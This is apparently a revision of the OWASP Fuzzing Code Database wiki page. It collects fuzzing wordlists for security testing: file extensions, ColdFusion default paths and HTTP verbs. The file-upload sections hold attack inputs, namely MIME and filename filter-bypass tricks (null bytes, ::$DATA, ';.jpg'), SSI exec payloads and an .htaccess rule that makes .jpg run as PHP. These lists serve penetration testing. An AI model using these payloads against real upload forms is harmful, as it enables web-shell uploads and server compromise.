last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80064 2010-03-17T20:41:32Z

<p>Adam.muntner: /* Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htacces in an upload folder on Apache httpd, try setting .jpg to executable<br /> #<br /> # example .htaccess:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> %00index.html<br /> ;index.html&lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> &lt;pre&gt;<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> <br /> # Commonly writable directories<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> <br /> <br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> 